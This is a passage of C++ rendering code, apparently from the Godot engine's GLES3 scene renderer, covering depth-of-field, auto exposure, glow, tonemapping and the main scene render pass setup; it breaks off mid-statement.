state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_FIRST_TAP, false); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_BEGIN, env->dof_blur_near_distance); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_END, env->dof_blur_near_distance - env->dof_blur_near_transition); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_DIR, Vector2(0, 1)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_RADIUS, radius); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); // copy to base level if (composite_from != storage->frame.current_rt->buffers.diffuse) { glEnable(GL_BLEND); glBlendEquation(GL_FUNC_ADD); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); } else { glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->buffers.diffuse); } _copy_screen(true); if (composite_from != storage->frame.current_rt->buffers.diffuse) { glDisable(GL_BLEND); } state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_BLUR, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_FIRST_TAP, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_BLUR_MERGE, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_LOW, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_MEDIUM, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_HIGH, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::USE_ORTHOGONAL_PROJECTION, false); composite_from = storage->frame.current_rt->effects.mip_maps[0].color; } if (env->dof_blur_near_enabled || env->dof_blur_far_enabled) { //these needed to disable filtering, reenamble glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); } if (env->auto_exposure) { //compute auto exposure //first step, copy from image to luminance buffer state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_BEGIN, true); state.exposure_shader.bind(); int ss[2] = { storage->frame.current_rt->width, storage->frame.current_rt->height, }; int ds[2] = { exposure_shrink_size, exposure_shrink_size, }; glUniform2iv(state.exposure_shader.get_uniform(ExposureShaderGLES3::SOURCE_RENDER_SIZE), 1, ss); glUniform2iv(state.exposure_shader.get_uniform(ExposureShaderGLES3::TARGET_SIZE), 1, ds); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, composite_from); glBindFramebuffer(GL_FRAMEBUFFER, exposure_shrink[0].fbo); glViewport(0, 0, exposure_shrink_size, exposure_shrink_size); _copy_screen(true); //second step, shrink to 2x2 pixels state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_BEGIN, false); state.exposure_shader.bind(); //shrink from second to previous to last level int s_size = exposure_shrink_size / 3; for (int i = 1; i < exposure_shrink.size() - 1; i++) { glBindFramebuffer(GL_FRAMEBUFFER, exposure_shrink[i].fbo); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, exposure_shrink[i - 1].color); _copy_screen(); glViewport(0, 0, s_size, s_size); s_size /= 3; } //third step, shrink to 1x1 pixel taking in consideration the previous exposure state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_END, true); uint64_t tick = OS::get_singleton()->get_ticks_usec(); uint64_t tick_diff = storage->frame.current_rt->last_exposure_tick == 0 ? 0 : tick - storage->frame.current_rt->last_exposure_tick; storage->frame.current_rt->last_exposure_tick = tick; if (tick_diff == 0 || tick_diff > 1000000) { state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_FORCE_SET, true); } state.exposure_shader.bind(); glBindFramebuffer(GL_FRAMEBUFFER, exposure_shrink[exposure_shrink.size() - 1].fbo); glViewport(0, 0, 1, 1); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, exposure_shrink[exposure_shrink.size() - 2].color); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->exposure.color); //read from previous state.exposure_shader.set_uniform(ExposureShaderGLES3::EXPOSURE_ADJUST, env->auto_exposure_speed * (tick_diff / 1000000.0)); state.exposure_shader.set_uniform(ExposureShaderGLES3::MAX_LUMINANCE, env->auto_exposure_max); state.exposure_shader.set_uniform(ExposureShaderGLES3::MIN_LUMINANCE, env->auto_exposure_min); _copy_screen(true); state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_FORCE_SET, false); state.exposure_shader.set_conditional(ExposureShaderGLES3::EXPOSURE_END, false); //last step, swap with the framebuffer exposure, so the right exposure is kept int he framebuffer SWAP(exposure_shrink.write[exposure_shrink.size() - 1].fbo, storage->frame.current_rt->exposure.fbo); SWAP(exposure_shrink.write[exposure_shrink.size() - 1].color, storage->frame.current_rt->exposure.color); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); VisualServerRaster::redraw_request(); //if using auto exposure, redraw must happen } int max_glow_level = -1; int glow_mask = 0; if (env->glow_enabled) { for (int i = 0; i < VS::MAX_GLOW_LEVELS; i++) { if (env->glow_levels & (1 << i)) { if (i >= storage->frame.current_rt->effects.mip_maps[1].sizes.size()) { max_glow_level = storage->frame.current_rt->effects.mip_maps[1].sizes.size() - 1; glow_mask |= 1 << max_glow_level; } else { max_glow_level = i; glow_mask |= (1 << i); } } } //blur diffuse into effect mipmaps using separatable convolution //storage->shaders.copy.set_conditional(CopyShaderGLES3::GAUSSIAN_HORIZONTAL,true); for (int i = 0; i < (max_glow_level + 1); i++) { int vp_w = storage->frame.current_rt->effects.mip_maps[1].sizes[i].width; int vp_h = storage->frame.current_rt->effects.mip_maps[1].sizes[i].height; glViewport(0, 0, vp_w, vp_h); //horizontal pass if (i == 0) { state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_FIRST_PASS, true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_USE_AUTO_EXPOSURE, env->auto_exposure); } state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_GAUSSIAN_HORIZONTAL, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LOD, float(i)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::GLOW_STRENGTH, env->glow_strength); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LUMINANCE_CAP, env->glow_hdr_luminance_cap); glActiveTexture(GL_TEXTURE0); if (i == 0) { glBindTexture(GL_TEXTURE_2D, composite_from); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::EXPOSURE, env->tone_mapper_exposure); if (env->auto_exposure) { state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::AUTO_EXPOSURE_GREY, env->auto_exposure_grey); } glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->exposure.color); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::GLOW_BLOOM, env->glow_bloom); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::GLOW_HDR_THRESHOLD, env->glow_hdr_bleed_threshold); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::GLOW_HDR_SCALE, env->glow_hdr_bleed_scale); } else { glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); //previous level, since mipmaps[0] starts one level bigger } glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[1].sizes[i].fbo); _copy_screen(true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_GAUSSIAN_HORIZONTAL, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_FIRST_PASS, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_USE_AUTO_EXPOSURE, false); //vertical pass state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_GAUSSIAN_VERTICAL, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LOD, float(i)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::GLOW_STRENGTH, env->glow_strength); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[1].color); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[i + 1].fbo); //next level, since mipmaps[0] starts one level bigger _copy_screen(); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GLOW_GAUSSIAN_VERTICAL, false); } glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); } if (storage->frame.current_rt->external.fbo != 0) { glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->external.fbo); } else { glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); } glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, composite_from); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_FILMIC_TONEMAPPER, env->tone_mapper == VS::ENV_TONE_MAPPER_FILMIC); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_ACES_TONEMAPPER, env->tone_mapper == VS::ENV_TONE_MAPPER_ACES); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_REINHARD_TONEMAPPER, env->tone_mapper == VS::ENV_TONE_MAPPER_REINHARD); state.tonemap_shader.set_conditional(TonemapShaderGLES3::KEEP_3D_LINEAR, storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_KEEP_3D_LINEAR]); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_AUTO_EXPOSURE, env->auto_exposure); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_FILTER_BICUBIC, env->glow_bicubic_upscale); if (max_glow_level >= 0) { for (int i = 0; i < (max_glow_level + 1); i++) { if (glow_mask & (1 << i)) { if (i == 0) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL1, true); } if (i == 1) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL2, true); } if (i == 2) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL3, true); } if (i == 3) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL4, true); } if (i == 4) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL5, true); } if (i == 5) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL6, true); } if (i == 6) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL7, true); } } } state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_SCREEN, env->glow_blend_mode == VS::GLOW_BLEND_MODE_SCREEN); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_SOFTLIGHT, env->glow_blend_mode == VS::GLOW_BLEND_MODE_SOFTLIGHT); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_REPLACE, env->glow_blend_mode == VS::GLOW_BLEND_MODE_REPLACE); glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); } if (env->adjustments_enabled) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_BCS, true); RasterizerStorageGLES3::Texture *tex = storage->texture_owner.getornull(env->color_correction); if (tex) { state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_COLOR_CORRECTION, true); glActiveTexture(GL_TEXTURE3); glBindTexture(tex->target, tex->tex_id); } } state.tonemap_shader.set_conditional(TonemapShaderGLES3::V_FLIP, storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_VFLIP]); state.tonemap_shader.bind(); state.tonemap_shader.set_uniform(TonemapShaderGLES3::EXPOSURE, env->tone_mapper_exposure); state.tonemap_shader.set_uniform(TonemapShaderGLES3::WHITE, env->tone_mapper_exposure_white); if (max_glow_level >= 0) { state.tonemap_shader.set_uniform(TonemapShaderGLES3::GLOW_INTENSITY, env->glow_intensity); int ss[2] = { storage->frame.current_rt->width, storage->frame.current_rt->height, }; glUniform2iv(state.tonemap_shader.get_uniform(TonemapShaderGLES3::GLOW_TEXTURE_SIZE), 1, ss); } if (env->auto_exposure) { glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->exposure.color); state.tonemap_shader.set_uniform(TonemapShaderGLES3::AUTO_EXPOSURE_GREY, env->auto_exposure_grey); } if (env->adjustments_enabled) { state.tonemap_shader.set_uniform(TonemapShaderGLES3::BCS, Vector3(env->adjustments_brightness, env->adjustments_contrast, env->adjustments_saturation)); } _copy_screen(true, true); //turn off everything used state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_AUTO_EXPOSURE, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_FILMIC_TONEMAPPER, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_ACES_TONEMAPPER, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_REINHARD_TONEMAPPER, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL1, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL2, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL3, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL4, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL5, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL6, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_LEVEL7, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_REPLACE, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_SCREEN, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_SOFTLIGHT, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_GLOW_FILTER_BICUBIC, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_BCS, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::USE_COLOR_CORRECTION, false); state.tonemap_shader.set_conditional(TonemapShaderGLES3::V_FLIP, false); } void RasterizerSceneGLES3::render_scene(const Transform &p_cam_transform, const CameraMatrix &p_cam_projection, bool p_cam_ortogonal, InstanceBase **p_cull_result, int p_cull_count, RID *p_light_cull_result, int p_light_cull_count, RID *p_reflection_probe_cull_result, int p_reflection_probe_cull_count, RID p_environment, RID p_shadow_atlas, RID p_reflection_atlas, RID p_reflection_probe, int p_reflection_probe_pass) { //first of all, make a new render pass render_pass++; //fill up ubo storage->info.render.object_count += p_cull_count; Environment *env = environment_owner.getornull(p_environment); ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_shadow_atlas); ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(p_reflection_atlas); if (shadow_atlas && shadow_atlas->size) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 5); glBindTexture(GL_TEXTURE_2D, shadow_atlas->depth); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_COMPARE_REF_TO_TEXTURE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_FUNC, GL_LESS); state.ubo_data.shadow_atlas_pixel_size[0] = 1.0 / shadow_atlas->size; state.ubo_data.shadow_atlas_pixel_size[1] = 1.0 / shadow_atlas->size; } if (reflection_atlas && reflection_atlas->size) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 3); glBindTexture(GL_TEXTURE_2D, reflection_atlas->color); } if (p_reflection_probe.is_valid()) { state.ubo_data.reflection_multiplier = 0.0; } else { state.ubo_data.reflection_multiplier = 1.0; } state.ubo_data.subsurface_scatter_width = subsurface_scatter_size; state.ubo_data.z_offset = 0; state.ubo_data.z_slope_scale = 0; state.ubo_data.shadow_dual_paraboloid_render_side = 0; state.ubo_data.shadow_dual_paraboloid_render_zfar = 0; state.ubo_data.opaque_prepass_threshold = 0.99; p_cam_projection.get_viewport_size(state.ubo_data.viewport_size[0], state.ubo_data.viewport_size[1]); if (storage->frame.current_rt) { state.ubo_data.screen_pixel_size[0] = 1.0 / storage->frame.current_rt->width; state.ubo_data.screen_pixel_size[1] = 1.0 / storage->frame.current_rt->height; } _setup_environment(env, p_cam_projection, p_cam_transform, p_reflection_probe.is_valid()); bool fb_cleared = false; glDepthFunc(GL_LEQUAL); state.used_contact_shadows = false; state.prepared_depth_texture = false; state.bound_depth_texture = false; for (int i = 0; i < p_light_cull_count; i++) { ERR_BREAK(i >= render_list.max_lights); LightInstance *li = light_instance_owner.getptr(p_light_cull_result[i]); if (li->light_ptr->param[VS::LIGHT_PARAM_CONTACT_SHADOW_SIZE] > CMP_EPSILON) { state.used_contact_shadows = true; } } // Do depth prepass if it's explicitly enabled bool use_depth_prepass = storage->config.use_depth_prepass; // If contact shadows are used then we need to do depth prepass even if it's otherwise disabled use_depth_prepass = use_depth_prepass || state.used_contact_shadows; // Never do depth prepass if effects are disabled or if we render overdraws use_depth_prepass = use_depth_prepass && storage->frame.current_rt && !storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_NO_3D_EFFECTS]; use_depth_prepass = use_depth_prepass && state.debug_draw != VS::VIEWPORT_DEBUG_DRAW_OVERDRAW; if (use_depth_prepass) { //pre z pass glDisable(GL_BLEND); glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glDisable(GL_SCISSOR_TEST); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glDrawBuffers(0, NULL); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); glColorMask(0, 0, 0, 0); glClearDepth(1.0f); glClear(GL_DEPTH_BUFFER_BIT); render_list.clear(); _fill_render_list(p_cull_result, p_cull_count, true, false); render_list.sort_by_key(false); state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH, true); _render_list(render_list.elements, render_list.element_count, p_cam_transform, p_cam_projection, 0, false, false, true, false, false); state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH, false); glColorMask(1, 1, 1, 1); if (state.used_contact_shadows) { _prepare_depth_texture(); _bind_depth_texture(); } fb_cleared = true; render_pass++; state.used_depth_prepass = true; } else { state.used_depth_prepass = false; } _setup_lights(p_light_cull_result, p_light_cull_count, p_cam_transform.affine_inverse(), p_cam_projection, p_shadow_atlas); _setup_reflections(p_reflection_probe_cull_result, p_reflection_probe_cull_count, p_cam_transform.affine_inverse(), p_cam_projection, p_reflection_atlas, env); bool use_mrt = false; render_list.clear(); _fill_render_list(p_cull_result, p_cull_count, false, false); // glEnable(GL_BLEND); glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glDisable(GL_SCISSOR_TEST); //rendering to a probe cubemap side ReflectionProbeInstance *probe = reflection_probe_instance_owner.getornull(p_reflection_probe); GLuint current_fbo; if (probe) { ReflectionAtlas *ref_atlas = reflection_atlas_owner.getptr(probe->atlas); ERR_FAIL_COND(!ref_atlas); int target_size = ref_atlas->size / ref_atlas->subdiv; int cubemap_index = reflection_cubemaps.size() - 1; for (int i = reflection_cubemaps.size() - 1; i >= 0; i--) { //find appropriate cubemap to render to if (reflection_cubemaps[i].size > target_size * 2) break; cubemap_index = i; } current_fbo = reflection_cubemaps[cubemap_index].fbo_id[p_reflection_probe_pass]; use_mrt = false; state.scene_shader.set_conditional(SceneShaderGLES3::USE_MULTIPLE_RENDER_TARGETS, false); glViewport(0, 0, reflection_cubemaps[cubemap_index].size, reflection_cubemaps[cubemap_index].size); glBindFramebuffer(GL_FRAMEBUFFER, current_fbo); } else { use_mrt = env && (state.used_sss || env->ssao_enabled || env->ssr_enabled || env->dof_blur_far_enabled || env->dof_blur_near_enabled); //only enable MRT rendering if any of these is enabled //effects disabled and transparency also prevent using MRTs use_mrt = use_mrt && !storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]; use_mrt = use_mrt && !storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_NO_3D_EFFECTS]; use_mrt = use_mrt && state.debug_draw != VS::VIEWPORT_DEBUG_DRAW_OVERDRAW; use_mrt = use_mrt && (env->bg_mode != VS::ENV_BG_KEEP && env->bg_mode != VS::ENV_BG_CANVAS); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); if (use_mrt) { current_fbo = storage->frame.current_rt->buffers.fbo; glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); state.scene_shader.set_conditional(SceneShaderGLES3::USE_MULTIPLE_RENDER_TARGETS, true); Vector<GLenum> draw_buffers; draw_buffers.push_back(GL_COLOR_ATTACHMENT0); draw_buffers.push_back(GL_COLOR_ATTACHMENT1); draw_buffers.push_back(GL_COLOR_ATTACHMENT2); if (state.used_sss) { draw_buffers.push_back(GL_COLOR_ATTACHMENT3); } glDrawBuffers(draw_buffers.size(), draw_buffers.ptr()); Color black(0, 0, 0, 0); glClearBufferfv(GL_COLOR, 1, black.components); // specular glClearBufferfv(GL_COLOR, 2, black.components); // normal metal rough if (state.used_sss) { glClearBufferfv(GL_COLOR, 3, black.components); // normal metal rough } } else { if (storage->frame.current_rt->buffers.active) { current_fbo = storage->frame.current_rt->buffers.fbo; } else { if (storage->frame.current_rt->effects.mip_maps[0].sizes.size() == 0) { ERR_PRINT_ONCE("Can't use canvas background mode in a render target configured without sampling"); return; } current_fbo = storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo; } glBindFramebuffer(GL_FRAMEBUFFER, current_fbo); state.scene_shader.set_conditional(SceneShaderGLES3::USE_MULTIPLE_RENDER_TARGETS, false); Vector<GLenum> draw_buffers; draw_buffers.push_back(GL_COLOR_ATTACHMENT0); glDrawBuffers(draw_buffers.size(), draw_buffers.ptr()); } } if (!fb_cleared) { glClearDepth(1.0f); glClear(GL_DEPTH_BUFFER_BIT); } Color clear_color(0, 0, 0, 0); RasterizerStorageGLES3::Sky *sky = NULL; Ref<CameraFeed> feed; GLuint env_radiance_tex = 0; if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_OVERDRAW) { clear_color = Color(0, 0, 0, 0); storage->frame.clear_request = false; } else if (!probe && storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { clear_color = Color(0, 0, 0, 0); storage->frame.clear_request = false; } else if (!env || env->bg_mode == VS::ENV_BG_CLEAR_COLOR) { if (storage->frame.clear_request) { clear_color = storage->frame.clear_request_color.to_linear(); storage->frame.clear_request = false; } } else if (env->bg_mode == VS::ENV_BG_CANVAS) { clear_color = env->bg_color.to_linear(); storage->frame.clear_request = false; } else if (env->bg_mode == VS::ENV_BG_COLOR) { clear_color = env->bg_color.to_linear(); storage->frame.clear_request = false; } else if (env->bg_mode == VS::ENV_BG_SKY) { storage->frame.clear_request = false; } else if (env->bg_mode == VS::ENV_BG_COLOR_SKY) { clear_color = env->bg_color.to_linear(); storage->frame.clear_request = false; } else if (env->bg_mode == VS::ENV_BG_CAMERA_FEED) { feed = CameraServer::get_singleton()->get_feed_by_id(env->camera_feed_id); storage->frame.clear_request = false; } else { storage->frame.clear_request = false; } if (!env || env->bg_mode != VS::ENV_BG_KEEP) { glClearBufferfv(GL_COLOR, 0, clear_color.components); // specular } VS::EnvironmentBG bg_mode = (!env || (probe && env->bg_mode == VS::ENV_BG_CANVAS)) ? VS::ENV_BG_CLEAR_COLOR : env->bg_mode; //if no environment, or canvas while rendering a probe (invalid use case), use color. if (env) { switch (bg_mode) { case VS::ENV_BG_COLOR_SKY: case VS::ENV_BG_SKY: sky = storage->sky_owner.getornull(env->sky); if (sky) { env_radiance_tex = sky->radiance; } break; case VS::ENV_BG_CANVAS: //copy canvas to 3d buffer and convert it to linear glDisable(GL_BLEND); glDepthMask(GL_FALSE); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, true); storage->shaders.copy.set_conditional(CopyShaderGLES3::SRGB_TO_LINEAR, true); storage->shaders.copy.bind(); _copy_screen(true, true); //turn off everything used storage->shaders.copy.set_conditional(CopyShaderGLES3::SRGB_TO_LINEAR, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, false); //restore glEnable(GL_BLEND); glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glEnable(GL_CULL_FACE); break; case VS::ENV_BG_CAMERA_FEED: if (feed.is_valid() && (feed->get_base_width() > 0) && (feed->get_base_height() > 0)) { // copy our camera feed to our background glDisable(GL_BLEND); glDepthMask(GL_FALSE); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_DISPLAY_TRANSFORM, true); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, true); storage->shaders.copy.set_conditional(CopyShaderGLES3::SRGB_TO_LINEAR, true); if (feed->get_datatype() == CameraFeed::FEED_RGB) { RID camera_RGBA = feed->get_texture(CameraServer::FEED_RGBA_IMAGE); VS::get_singleton()->texture_bind(camera_RGBA, 0); } else if (feed->get_datatype() == CameraFeed::FEED_YCBCR) { RID camera_YCbCr = feed->get_texture(CameraServer::FEED_YCBCR_IMAGE); VS::get_singleton()->texture_bind(camera_YCbCr, 0); storage->shaders.copy.set_conditional(CopyShaderGLES3::YCBCR_TO_SRGB, true); } else if (feed->get_datatype() == CameraFeed::FEED_YCBCR_SEP) { RID camera_Y = feed->get_texture(CameraServer::FEED_Y_IMAGE); RID camera_CbCr = feed->get_texture(CameraServer::FEED_CBCR_IMAGE); VS::get_singleton()->texture_bind(camera_Y, 0); VS::get_singleton()->texture_bind(camera_CbCr, 1); storage->shaders.copy.set_conditional(CopyShaderGLES3::SEP_CBCR_TEXTURE, true); storage->shaders.copy.set_conditional(CopyShaderGLES3::YCBCR_TO_SRGB, true); }; storage->shaders.copy.bind(); storage->shaders.copy.set_uniform(CopyShaderGLES3::DISPLAY_TRANSFORM, feed->get_transform()); _copy_screen(true, true); //turn off everything used storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_DISPLAY_TRANSFORM, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::SRGB_TO_LINEAR, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::SEP_CBCR_TEXTURE, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::YCBCR_TO_SRGB, false); //restore glEnable(GL_BLEND); glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glEnable(GL_CULL_FACE); } else { // don't have a feed, just show greenscreen :) clear_color = Color(0.0, 1.0, 0.0, 1.0); } break; default: { } } } if (probe && probe->probe_ptr->interior) { env_radiance_tex = 0; //for rendering probe interiors, radiance must not be used. } state.texscreen_copied = false; glBlendEquation(GL_FUNC_ADD); if (storage->frame.current_rt && storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA); glEnable(GL_BLEND); } else { glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glDisable(GL_BLEND); } render_list.sort_by_key(false); if (state.directional_light_count == 0) { directional_light = NULL; _render_list(render_list.elements, render_list.element_count, p_cam_transform, p_cam_projection, env_radiance_tex, false, false, false, false, shadow_atlas != NULL); } else { for (int i = 0; i < state.directional_light_count; i++) { directional_light = directional_lights[i]; if (i > 0) { glEnable(GL_BLEND); } _setup_directional_light(i, p_cam_transform.affine_inverse(), shadow_atlas != NULL && shadow_atlas->size > 0); _render_list(render_list.elements, render_list.element_count, p_cam_transform, p_cam_projection, env_radiance_tex, false, false, false, i > 0, shadow_atlas != NULL); } } state.scene_shader.set_conditional(SceneShaderGLES3::USE_MULTIPLE_RENDER_TARGETS, false); if (use_mrt) { GLenum gldb = 